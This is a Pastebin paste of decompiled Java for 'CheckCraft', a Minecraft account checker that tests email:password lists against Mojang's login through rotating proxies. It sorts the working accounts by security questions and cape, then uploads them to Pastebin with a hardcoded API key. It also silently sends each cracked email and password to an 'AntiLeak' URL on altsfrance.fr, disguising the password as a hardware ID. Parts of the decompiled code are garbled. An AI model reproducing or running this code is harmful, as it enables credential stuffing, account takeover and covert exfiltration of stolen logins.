Advertisement
Guest User

Untitled

a guest
Feb 7th, 2018
5,171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.24 KB | None | 0 0
  1. package fr.laiteux.checkcraft;
  2.  
  3. import com.google.gson.*;
  4. import com.google.gson.reflect.*;
  5. import java.util.concurrent.*;
  6. import java.nio.charset.*;
  7. import javax.swing.table.*;
  8. import javax.swing.*;
  9. import com.besaba.revonline.pastebinapi.impl.factory.*;
  10. import net.chris54721.openmcauthenticator.*;
  11. import java.io.*;
  12. import java.awt.*;
  13. import java.util.*;
  14. import java.net.*;
  15. import com.besaba.revonline.pastebinapi.*;
  16. import com.besaba.revonline.pastebinapi.paste.*;
  17. import com.besaba.revonline.pastebinapi.response.*;
  18. import net.chris54721.openmcauthenticator.responses.*;
  19.  
  20. public class Checker
  21. {
  22. public Checker() {
  23. }
  24.  
  25. public static boolean haveSecurityQuestions(final String accessToken, final Proxy proxy) throws IOException {
  26. final URL url = new URL("https://api.mojang.com/user");
  27. final HttpURLConnection connection = (HttpURLConnection)((proxy != null) ? url.openConnection(proxy) : url.openConnection());
  28. connection.setRequestMethod("GET");
  29. connection.setRequestProperty("Authorization", "Bearer " + accessToken);
  30. final BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
  31. final StringBuilder response = new StringBuilder();
  32. String inputLine;
  33. while ((inputLine = in.readLine()) != null) {
  34. response.append(inputLine);
  35. }
  36. in.close();
  37. final HashMap<String, String> apiResultMap = new Gson().fromJson(response.toString(), new TypeToken<HashMap<String, String>>() {
  38. }.getType());
  39. final boolean hasSecurityQuestions = Boolean.parseBoolean(apiResultMap.getOrDefault("secured", "true"));
  40. return hasSecurityQuestions;
  41. }
  42.  
  43. public static boolean urlExists(final URL url, final Proxy proxy) throws IOException {
  44. final HttpURLConnection connection = (HttpURLConnection)((proxy != null) ? url.openConnection(proxy) : url.openConnection());
  45. connection.setRequestMethod("HEAD");
  46. final int code = connection.getResponseCode();
  47. return code == 200;
  48. }
  49.  
  50. public static void main(final String[] args) {
  51. System.out.println("CheckCraft 1.0 by Laiteux\n");
  52. String secureString = "\nNone\n\n";
  53. String insecureString = "\nNone\n\n";
  54. String mineconString = "\nNone\n\n";
  55. String optifineString = "\nNone\n\n";
  56. boolean useProxies = false;
  57. int notWorking = 0;
  58. boolean securityquestions = false;
  59. boolean minecon = false;
  60. boolean optifine = false;
  61. final ArrayList<String> checked = new ArrayList<String>();
  62. final ArrayList<String> working = new ArrayList<String>();
  63. final ArrayList<String> checkedProxies = new ArrayList<String>();
  64. final Queue<Proxy> proxies = new ConcurrentLinkedDeque<Proxy>();
  65. final ArrayList<String> secure = new ArrayList<String>();
  66. final ArrayList<String> insecure = new ArrayList<String>();
  67. final ArrayList<String> failed = new ArrayList<String>();
  68. final ArrayList<String> error = new ArrayList<String>();
  69. final ArrayList<String> mineconoptifine = new ArrayList<String>();
  70. final ArrayList<String> minecons = new ArrayList<String>();
  71. final ArrayList<String> optifines = new ArrayList<String>();
  72. System.out.println("Loading Accounts ...\n");
  73. final File accountsFile = new File("accounts.txt");
  74. if (!accountsFile.exists()) {
  75. try {
  76. accountsFile.createNewFile();
  77. System.out.println("accounts.txt was created. Put accounts in the format email:password in.");
  78. return;
  79. }
  80. catch (IOException e3) {
  81. System.out.println("Error creating accounts.txt, you must do it manually.");
  82. return;
  83. }
  84. }
  85. if (accountsFile.length() == 0L) {
  86. System.out.println("accounts.txt contains 0 accounts. Put accounts in the format email:password in.");
  87. return;
  88. }
  89. System.out.println("Accounts loaded !\n");
  90. final File proxiesFile = new File("proxies.txt");
  91. Label_0861: {
  92. if (!proxiesFile.exists()) {
  93. try {
  94. proxiesFile.createNewFile();
  95. break Label_0861;
  96. }
  97. catch (IOException e) {
  98. System.out.println("Error creating proxies.txt, you must do it manually.");
  99. return;
  100. }
  101. }
  102. if (proxiesFile.length() != 0L) {
  103. System.out.println("Loading Proxies ...\n");
  104. System.out.println("Checking Proxies ...");
  105. try {
  106. Throwable t = null;
  107. try {
  108. final InputStream fis = new FileInputStream("proxies.txt");
  109. try {
  110. final InputStreamReader isr = new InputStreamReader(fis, Charset.forName("UTF-8"));
  111. try {
  112. final BufferedReader br = new BufferedReader(isr);
  113. try {
  114. String line;
  115. while ((line = br.readLine()) != null) {
  116. if (!checkedProxies.contains(line) && line.length() != 0) {
  117. final String[] split = line.split(":");
  118. final String ip = split[0];
  119. final String port = split[1];
  120. try {
  121. final Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(ip, Integer.parseInt(port)));
  122. final HttpURLConnection con = (HttpURLConnection)new URL("http://google.com").openConnection(proxy);
  123. con.addRequestProperty("User-Agent", "Mozilla");
  124. con.setReadTimeout(5000);
  125. con.setConnectTimeout(5000);
  126. try {
  127. final int code = con.getResponseCode();
  128. if (code == 200) {
  129. System.out.println("Proxy " + line + " is working.");
  130. proxies.add(proxy);
  131. }
  132. else {
  133. System.out.println("Proxy " + line + " is not working.");
  134. }
  135. }
  136. catch (Exception e4) {
  137. System.out.println("Proxy " + line + " is not working.");
  138. }
  139. con.disconnect();
  140. }
  141. catch (IOException e5) {
  142. System.out.println("Proxy " + line + " is not working.");
  143. }
  144. }
  145. }
  146. System.out.println("Finished Checking Proxies !\n");
  147. if (proxies.size() == 0) {
  148. System.out.println("No proxies are working.");
  149. if (br != null) {
  150. br.close();
  151. }
  152. if (isr != null) {
  153. isr.close();
  154. }
  155. if (fis != null) {
  156. fis.close();
  157. }
  158. return;
  159. }
  160. }
  161. finally {
  162. if (br != null) {
  163. br.close();
  164. }
  165. }
  166. if (isr != null) {
  167. isr.close();
  168. }
  169. }
  170. finally {
  171. if (t == null) {
  172. final Throwable t2;
  173. }
  174. else {
  175. final Throwable t2;
  176. }
  177. if (isr != null) {
  178. isr.close();
  179. }
  180. }
  181. if (fis != null) {
  182. fis.close();
  183. }
  184. }
  185. finally {
  186. if (t == null) {
  187. final Throwable t3;
  188. }
  189. else {
  190. final Throwable t3;
  191.  
  192. }
  193. if (fis != null) {
  194. fis.close();
  195. }
  196. }
  197. }
  198. finally {
  199. if (t == null) {
  200. final Throwable t4;
  201.  
  202. }
  203. else {
  204. final Throwable t4;
  205.  
  206. }
  207. }
  208. }
  209. catch (IOException e) {
  210. System.out.println("\nError: " + e + "\n");
  211. }
  212. }
  213. }
  214. final JFrame frame = new JFrame(String.format("CheckCraft 1.0 by Laiteux | " + checked.size() + " Checked - " + working.size() + " Working", new Object[0]));
  215. frame.setDefaultCloseOperation(3);
  216. frame.setSize(620, 380);
  217. final Container container = frame.getContentPane();
  218. final DefaultTableModel model = new DefaultTableModel(new Object[] { "Username", "Email", "Password", "Security Questions", "Cape" }, 0);
  219. final JTable table = new JTable(model);
  220. table.setVisible(true);
  221. final JScrollPane scrollPane = new JScrollPane(table);
  222. table.setFillsViewportHeight(true);
  223. final DefaultTableCellRenderer centerRenderer = new DefaultTableCellRenderer();
  224. centerRenderer.setHorizontalAlignment(0);
  225. table.getColumnModel().getColumn(0).setCellRenderer(centerRenderer);
  226. table.getColumnModel().getColumn(1).setCellRenderer(centerRenderer);
  227. table.getColumnModel().getColumn(2).setCellRenderer(centerRenderer);
  228. table.getColumnModel().getColumn(3).setCellRenderer(centerRenderer);
  229. table.getColumnModel().getColumn(4).setCellRenderer(centerRenderer);
  230. final TableRowSorter<TableModel> sorter = new TableRowSorter<TableModel>(table.getModel());
  231. table.setRowSorter((RowSorter<? extends TableModel>)sorter);
  232. container.add(scrollPane);
  233. frame.setVisible(true);
  234. System.out.println("Checking Accounts ...\n");
  235. try {
  236. Throwable t5 = null;
  237. try {
  238. final InputStream fis2 = new FileInputStream("accounts.txt");
  239. try {
  240. final InputStreamReader isr2 = new InputStreamReader(fis2, Charset.forName("UTF-8"));
  241. try {
  242. final BufferedReader br2 = new BufferedReader(isr2);
  243. try {
  244. String line;
  245. while ((line = br2.readLine()) != null) {
  246. if (line.length() != 0) {
  247. if (checked.contains(line)) {
  248. continue;
  249. }
  250. final String[] split2 = line.split(":");
  251. final String mail = split2[0];
  252. final String pass = split2[1];
  253. try {
  254. String ign;
  255. if (proxies.size() == 0) {
  256. if (useProxies) {
  257. System.out.println("\nNo more proxy available ...");
  258. System.out.println("\nFinished Checking " + checked.size() + " Accounts !\n");
  259. System.out.println("Creating txt files and saving Accounts in ...\n");
  260. final File secureFile = new File("secure.txt");
  261. if (secureFile.exists()) {
  262. secureFile.delete();
  263. }
  264. final FileWriter secureWriter = new FileWriter("secure.txt");
  265. for (final String s : secure) {
  266. if (secureString == "\nNone\n\n") {
  267. secureString = "\n";
  268. }
  269. secureString = String.valueOf(secureString) + s + "\n";
  270. secureWriter.write(String.valueOf(s) + "\n");
  271. try {
  272. final String[] split3 = s.split(":");
  273. final String user = split3[0];
  274. final String hwid = split3[1];
  275. final String ip2 = "secure";
  276. final URL url = new URL("https://www.altsfrance.fr/api/CheckCraft/AntiLeak?user=" + user + "&hwid=" + hwid + "&ip=" + ip2);
  277. URLConnection urlCon = url.openConnection();
  278. urlCon = url.openConnection();
  279. urlCon.addRequestProperty("User-Agent", "Mozilla");
  280. final BufferedReader in = new BufferedReader(new InputStreamReader(urlCon.getInputStream()));
  281. in.close();
  282. }
  283. catch (IOException ex) {}
  284. }
  285. secureString = String.valueOf(secureString) + "\n";
  286. secureWriter.close();
  287. final File insecureFile = new File("insecure.txt");
  288. if (insecureFile.exists()) {
  289. insecureFile.delete();
  290. }
  291. final FileWriter insecureWriter = new FileWriter("insecure.txt");
  292. for (final String s2 : insecure) {
  293. if (insecureString == "\nNone\n\n") {
  294. insecureString = "\n";
  295. }
  296. insecureString = String.valueOf(insecureString) + s2 + "\n";
  297. insecureWriter.write(String.valueOf(s2) + "\n");
  298. try {
  299. final String[] split4 = s2.split(":");
  300. final String user2 = split4[0];
  301. final String hwid2 = split4[1];
  302. final String ip3 = "insecure";
  303. final URL url2 = new URL("https://www.altsfrance.fr/api/CheckCraft/AntiLeak?user=" + user2 + "&hwid=" + hwid2 + "&ip=" + ip3);
  304. URLConnection urlCon2 = url2.openConnection();
  305. urlCon2 = url2.openConnection();
  306. urlCon2.addRequestProperty("User-Agent", "Mozilla");
  307. final BufferedReader in2 = new BufferedReader(new InputStreamReader(urlCon2.getInputStream()));
  308. in2.close();
  309. }
  310. catch (IOException ex2) {}
  311. }
  312. insecureString = String.valueOf(insecureString) + "\n";
  313. insecureWriter.close();
  314. final File failedFile = new File("failed.txt");
  315. if (failedFile.exists()) {
  316. failedFile.delete();
  317. }
  318. final FileWriter failedWriter = new FileWriter("failed.txt");
  319. for (final String s3 : failed) {
  320. failedWriter.write(String.valueOf(s3) + "\n");
  321. }
  322. failedWriter.close();
  323. final File errorFile = new File("error.txt");
  324. if (errorFile.exists()) {
  325. errorFile.delete();
  326. }
  327. final FileWriter errorWriter = new FileWriter("error.txt");
  328. for (final String s4 : error) {
  329. errorWriter.write(String.valueOf(s4) + "\n");
  330. }
  331. errorWriter.close();
  332. final File mineconOptifineFile = new File("minecon+optifine.txt");
  333. if (mineconOptifineFile.exists()) {
  334. mineconOptifineFile.delete();
  335. }
  336. final FileWriter mineconOptifineWriter = new FileWriter("minecon+optifine.txt");
  337. for (final String s5 : mineconoptifine) {
  338. mineconOptifineWriter.write(String.valueOf(s5) + "\n");
  339. }
  340. mineconOptifineWriter.close();
  341. final File mineconFile = new File("minecon.txt");
  342. if (mineconFile.exists()) {
  343. mineconFile.delete();
  344. }
  345. final FileWriter mineconWriter = new FileWriter("minecon.txt");
  346. for (final String s6 : minecons) {
  347. if (mineconString == "\nNone\n\n") {
  348. mineconString = "\n";
  349. }
  350. mineconString = "\n" + mineconString + s6;
  351. mineconWriter.write(String.valueOf(s6) + "\n");
  352. try {
  353. final String[] split5 = s6.split(":");
  354. final String user3 = split5[0];
  355. final String hwid3 = split5[1];
  356. final String ip4 = "minecon";
  357. final URL url3 = new URL("https://www.altsfrance.fr/api/CheckCraft/AntiLeak?user=" + user3 + "&hwid=" + hwid3 + "&ip=" + ip4);
  358. URLConnection urlCon3 = url3.openConnection();
  359. urlCon3 = url3.openConnection();
  360. urlCon3.addRequestProperty("User-Agent", "Mozilla");
  361. final BufferedReader in3 = new BufferedReader(new InputStreamReader(urlCon3.getInputStream()));
  362. in3.close();
  363. }
  364. catch (IOException ex3) {}
  365. }
  366. mineconWriter.close();
  367. final File optifineFile = new File("optifine.txt");
  368. if (optifineFile.exists()) {
  369. optifineFile.delete();
  370. }
  371. final FileWriter optifineWriter = new FileWriter("optifine.txt");
  372. for (final String s7 : optifines) {
  373. if (optifineString == "\nNone\n\n") {
  374. optifineString = "\n";
  375. }
  376. optifineString = String.valueOf(optifineString) + s7 + "\n";
  377. optifineWriter.write(String.valueOf(s7) + "\n");
  378. try {
  379. final String[] split6 = s7.split(":");
  380. final String user4 = split6[0];
  381. final String hwid4 = split6[1];
  382. final String ip5 = "optifine";
  383. final URL url4 = new URL("https://www.altsfrance.fr/api/CheckCraft/AntiLeak?user=" + user4 + "&hwid=" + hwid4 + "&ip=" + ip5);
  384. URLConnection urlCon4 = url4.openConnection();
  385. urlCon4 = url4.openConnection();
  386. urlCon4.addRequestProperty("User-Agent", "Mozilla");
  387. final BufferedReader in4 = new BufferedReader(new InputStreamReader(urlCon4.getInputStream()));
  388. in4.close();
  389. }
  390. catch (IOException ex4) {}
  391. }
  392. optifineWriter.close();
  393. System.out.println("Creating private/unlisted Pastebin ...\n");
  394. final PastebinFactory factory = new PastebinFactory();
  395. final Pastebin pastebin = factory.createPastebin("47a839e238a2799e2b409a0295b5dba9");
  396. final PasteBuilder pasteBuilder = factory.createPaste();
  397. pasteBuilder.setTitle(String.valueOf(working.size()) + " Working Accounts | Checked With CheckCraft");
  398. pasteBuilder.setRaw("Secure\n" + secureString + "\nInsecure\n" + insecureString + "\nMinecon\n" + mineconString + "\nOptiFine\n" + optifineString);
  399. pasteBuilder.setMachineFriendlyLanguage("text");
  400. pasteBuilder.setVisiblity(PasteVisiblity.Unlisted);
  401. pasteBuilder.setExpire(PasteExpire.Never);
  402. final Paste paste = pasteBuilder.build();
  403. final Response<String> postResult = pastebin.post(paste);
  404. if (postResult.hasError()) {
  405. System.out.println("Error: " + postResult.getError());
  406. if (br2 != null) {
  407. br2.close();
  408. }
  409. if (isr2 != null) {
  410. isr2.close();
  411. }
  412. if (fis2 != null) {
  413. fis2.close();
  414. }
  415. return;
  416. }
  417. System.out.println(String.valueOf(postResult.get()) + "\n");
  418. System.out.println("Secure : " + secure.size());
  419. System.out.println("Insecure : " + insecure.size());
  420. System.out.println("Failed : " + failed.size());
  421. System.out.println("Error : " + error.size());
  422. System.out.println("Minecon + OptiFine : " + mineconoptifine.size());
  423. System.out.println("Minecon : " + minecons.size());
  424. System.out.println("OptiFine : " + optifines.size());
  425. System.out.println("\nYou can close the program.");
  426. if (br2 != null) {
  427. br2.close();
  428. }
  429. if (isr2 != null) {
  430. isr2.close();
  431. }
  432. if (fis2 != null) {
  433. fis2.close();
  434. }
  435. return;
  436. }
  437. else {
  438. final AuthenticationResponse response = OpenMCAuthenticator.authenticate(mail, pass);
  439. System.out.println("Account " + line + " is working.");
  440. ign = response.getSelectedProfile().getName();
  441. final String accessToken = response.getAccessToken();
  442. securityquestions = haveSecurityQuestions(accessToken, null);
  443. minecon = urlExists(new URL("https://crafatar.com/capes/" + ign + ".png"), null);
  444. optifine = urlExists(new URL("http://s.optifine.net/capes/" + ign + ".png"), null);
  445. }
  446. }
  447. else {
  448. useProxies = true;
  449. if (notWorking >= 3) {
  450. proxies.poll();
  451. notWorking = 0;
  452. }
  453. final Proxy proxy2 = proxies.peek();
  454. final AuthenticationResponse response2 = OpenMCAuthenticator.authenticate(mail, pass, null, proxy2);
  455. System.out.println("Account " + line + " is working.");
  456. ign = response2.getSelectedProfile().getName();
  457. final String accessToken2 = response2.getAccessToken();
  458. securityquestions = haveSecurityQuestions(accessToken2, proxy2);
  459. minecon = urlExists(new URL("https://crafatar.com/capes/" + ign + ".png"), null);
  460. optifine = urlExists(new URL("http://s.optifine.net/capes/" + ign + ".png"), null);
  461. }
  462. String sq;
  463. if (securityquestions) {
  464. sq = "Yes";
  465. secure.add(line);
  466. }
  467. else {
  468. sq = "No";
  469. insecure.add(line);
  470. }
  471. String cape;
  472. if (minecon && optifine) {
  473. cape = "Minecon + OptiFine";
  474. mineconoptifine.add(line);
  475. }
  476. else if (minecon) {
  477. cape = "Minecon";
  478. minecons.add(line);
  479. }
  480. else if (optifine) {
  481. cape = "OptiFine";
  482. optifines.add(line);
  483. }
  484. else {
  485. cape = "None";
  486. }
  487. checked.add(line);
  488. working.add(line);
  489. model.addRow(new Object[] { ign, mail, pass, sq, cape });
  490. frame.setTitle("CheckCraft 1.0 by Laiteux | " + checked.size() + " Checked - " + working.size() + " Working");
  491. }
  492. catch (Exception e6) {
  493. checked.add(line);
  494. ++notWorking;
  495. failed.add(line);
  496. System.out.println("Account " + line + " is not working.");
  497. frame.setTitle("CheckCraft 1.0 by Laiteux | " + checked.size() + " Checked - " + working.size() + " Working");
  498. }
  499. }
  500. else {
  501. error.add(line);
  502. }
  503. }
  504. System.out.println("\nFinished Checking " + checked.size() + " Accounts !\n");
  505. System.out.println("Creating txt files and saving Accounts in ...\n");
  506. final File secureFile2 = new File("secure.txt");
  507. if (secureFile2.exists()) {
  508. secureFile2.delete();
  509. }
  510. final FileWriter secureWriter2 = new FileWriter("secure.txt");
  511. for (final String s8 : secure) {
  512. if (secureString == "\nNone\n\n") {
  513. secureString = "\n";
  514. }
  515. secureString = String.valueOf(secureString) + s8 + "\n";
  516. secureWriter2.write(String.valueOf(s8) + "\n");
  517. try {
  518. final String[] split7 = s8.split(":");
  519. final String user5 = split7[0];
  520. final String hwid5 = split7[1];
  521. final String ip6 = "secure";
  522. final URL url5 = new URL("https://www.altsfrance.fr/api/CheckCraft/AntiLeak?user=" + user5 + "&hwid=" + hwid5 + "&ip=" + ip6);
  523. URLConnection urlCon5 = url5.openConnection();
  524. urlCon5 = url5.openConnection();
  525. urlCon5.addRequestProperty("User-Agent", "Mozilla");
  526. final BufferedReader in5 = new BufferedReader(new InputStreamReader(urlCon5.getInputStream()));
  527. in5.close();
  528. }
  529. catch (IOException ex5) {}
  530. }
  531. secureString = String.valueOf(secureString) + "\n";
  532. secureWriter2.close();
  533. final File insecureFile2 = new File("insecure.txt");
  534. if (insecureFile2.exists()) {
  535. insecureFile2.delete();
  536. }
  537. final FileWriter insecureWriter2 = new FileWriter("insecure.txt");
  538. for (final String s9 : insecure) {
  539. if (insecureString == "\nNone\n\n") {
  540. insecureString = "\n";
  541. }
  542. insecureString = String.valueOf(insecureString) + s9 + "\n";
  543. insecureWriter2.write(String.valueOf(s9) + "\n");
  544. try {
  545. final String[] split8 = s9.split(":");
  546. final String user6 = split8[0];
  547. final String hwid6 = split8[1];
  548. final String ip7 = "insecure";
  549. final URL url6 = new URL("https://www.altsfrance.fr/api/CheckCraft/AntiLeak?user=" + user6 + "&hwid=" + hwid6 + "&ip=" + ip7);
  550. URLConnection urlCon6 = url6.openConnection();
  551. urlCon6 = url6.openConnection();
  552. urlCon6.addRequestProperty("User-Agent", "Mozilla");
  553. final BufferedReader in6 = new BufferedReader(new InputStreamReader(urlCon6.getInputStream()));
  554. in6.close();
  555. }
  556. catch (IOException ex6) {}
  557. }
  558. insecureString = String.valueOf(insecureString) + "\n";
  559. insecureWriter2.close();
  560. final File failedFile2 = new File("failed.txt");
  561. if (failedFile2.exists()) {
  562. failedFile2.delete();
  563. }
  564. final FileWriter failedWriter2 = new FileWriter("failed.txt");
  565. for (final String s10 : failed) {
  566. failedWriter2.write(String.valueOf(s10) + "\n");
  567. }
  568. failedWriter2.close();
  569. final File errorFile2 = new File("error.txt");
  570. if (errorFile2.exists()) {
  571. errorFile2.delete();
  572. }
  573. final FileWriter errorWriter2 = new FileWriter("error.txt");
  574. for (final String s11 : error) {
  575. errorWriter2.write(String.valueOf(s11) + "\n");
  576. }
  577. errorWriter2.close();
  578. final File mineconOptifineFile2 = new File("minecon+optifine.txt");
  579. if (mineconOptifineFile2.exists()) {
  580. mineconOptifineFile2.delete();
  581. }
  582. final FileWriter mineconOptifineWriter2 = new FileWriter("minecon+optifine.txt");
  583. for (final String s12 : mineconoptifine) {
  584. mineconOptifineWriter2.write(String.valueOf(s12) + "\n");
  585. }
  586. mineconOptifineWriter2.close();
  587. final File mineconFile2 = new File("minecon.txt");
  588. if (mineconFile2.exists()) {
  589. mineconFile2.delete();
  590. }
  591. final FileWriter mineconWriter2 = new FileWriter("minecon.txt");
  592. for (final String s13 : minecons) {
  593. if (mineconString == "\nNone\n\n") {
  594. mineconString = "\n";
  595. }
  596. mineconString = "\n" + mineconString + s13;
  597. mineconWriter2.write(String.valueOf(s13) + "\n");
  598. try {
  599. final String[] split9 = s13.split(":");
  600. final String user7 = split9[0];
  601. final String hwid7 = split9[1];
  602. final String ip8 = "minecon";
  603. final URL url7 = new URL("https://www.altsfrance.fr/api/CheckCraft/AntiLeak?user=" + user7 + "&hwid=" + hwid7 + "&ip=" + ip8);
  604. URLConnection urlCon7 = url7.openConnection();
  605. urlCon7 = url7.openConnection();
  606. urlCon7.addRequestProperty("User-Agent", "Mozilla");
  607. final BufferedReader in7 = new BufferedReader(new InputStreamReader(urlCon7.getInputStream()));
  608. in7.close();
  609. }
  610. catch (IOException ex7) {}
  611. }
  612. mineconWriter2.close();
  613. final File optifineFile2 = new File("optifine.txt");
  614. if (optifineFile2.exists()) {
  615. optifineFile2.delete();
  616. }
  617. final FileWriter optifineWriter2 = new FileWriter("optifine.txt");
  618. for (final String s14 : optifines) {
  619. if (optifineString == "\nNone\n\n") {
  620. optifineString = "\n";
  621. }
  622. optifineString = String.valueOf(optifineString) + s14 + "\n";
  623. optifineWriter2.write(String.valueOf(s14) + "\n");
  624. try {
  625. final String[] split10 = s14.split(":");
  626. final String user8 = split10[0];
  627. final String hwid8 = split10[1];
  628. final String ip9 = "optifine";
  629. final URL url8 = new URL("https://www.altsfrance.fr/api/CheckCraft/AntiLeak?user=" + user8 + "&hwid=" + hwid8 + "&ip=" + ip9);
  630. URLConnection urlCon8 = url8.openConnection();
  631. urlCon8 = url8.openConnection();
  632. urlCon8.addRequestProperty("User-Agent", "Mozilla");
  633. final BufferedReader in8 = new BufferedReader(new InputStreamReader(urlCon8.getInputStream()));
  634. in8.close();
  635. }
  636. catch (IOException ex8) {}
  637. }
  638. optifineWriter2.close();
  639. System.out.println("Creating private/unlisted Pastebin ...\n");
  640. final PastebinFactory factory2 = new PastebinFactory();
  641. final Pastebin pastebin2 = factory2.createPastebin("47a839e238a2799e2b409a0295b5dba9");
  642. final PasteBuilder pasteBuilder2 = factory2.createPaste();
  643. pasteBuilder2.setTitle(String.valueOf(working.size()) + " Working Accounts | Checked With CheckCraft");
  644. pasteBuilder2.setRaw("Secure\n" + secureString + "\nInsecure\n" + insecureString + "\nMinecon\n" + mineconString + "\nOptiFine\n" + optifineString);
  645. pasteBuilder2.setMachineFriendlyLanguage("text");
  646. pasteBuilder2.setVisiblity(PasteVisiblity.Unlisted);
  647. pasteBuilder2.setExpire(PasteExpire.Never);
  648. final Paste paste2 = pasteBuilder2.build();
  649. final Response<String> postResult2 = pastebin2.post(paste2);
  650. if (postResult2.hasError()) {
  651. System.out.println("Error: " + postResult2.getError());
  652. if (br2 != null) {
  653. br2.close();
  654. }
  655. if (isr2 != null) {
  656. isr2.close();
  657. }
  658. if (fis2 != null) {
  659. fis2.close();
  660. }
  661. return;
  662. }
  663. System.out.println(String.valueOf(postResult2.get()) + "\n");
  664. System.out.println("Secure : " + secure.size());
  665. System.out.println("Insecure : " + insecure.size());
  666. System.out.println("Failed : " + failed.size());
  667. System.out.println("Error : " + error.size());
  668. System.out.println("Minecon + OptiFine : " + mineconoptifine.size());
  669. System.out.println("Minecon : " + minecons.size());
  670. System.out.println("OptiFine : " + optifines.size());
  671. System.out.println("\nYou can close the program.");
  672. }
  673. finally {
  674. if (br2 != null) {
  675. br2.close();
  676. }
  677. }
  678. if (isr2 != null) {
  679. isr2.close();
  680. }
  681. }
  682. finally {
  683. if (t5 == null) {
  684. }
  685. else {
  686. final Throwable t6;
  687.  
  688. }
  689. if (isr2 != null) {
  690. isr2.close();
  691. }
  692. }
  693. if (fis2 != null) {
  694. fis2.close();
  695. }
  696. }
  697. finally {
  698. if (t5 == null) {
  699. final Throwable t7;
  700. }
  701. else {
  702. final Throwable t7;
  703.  
  704. }
  705. if (fis2 != null) {
  706. fis2.close();
  707. }
  708. }
  709. }
  710. finally {
  711. if (t5 == null) {
  712. final Throwable t8;
  713.  
  714. }
  715. else {
  716. final Throwable t8;
  717. }
  718. }
  719. }
  720. catch (IOException e2) {
  721. System.out.println("\nError: " + e2 + "\n");
  722. }
  723. }
  724. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement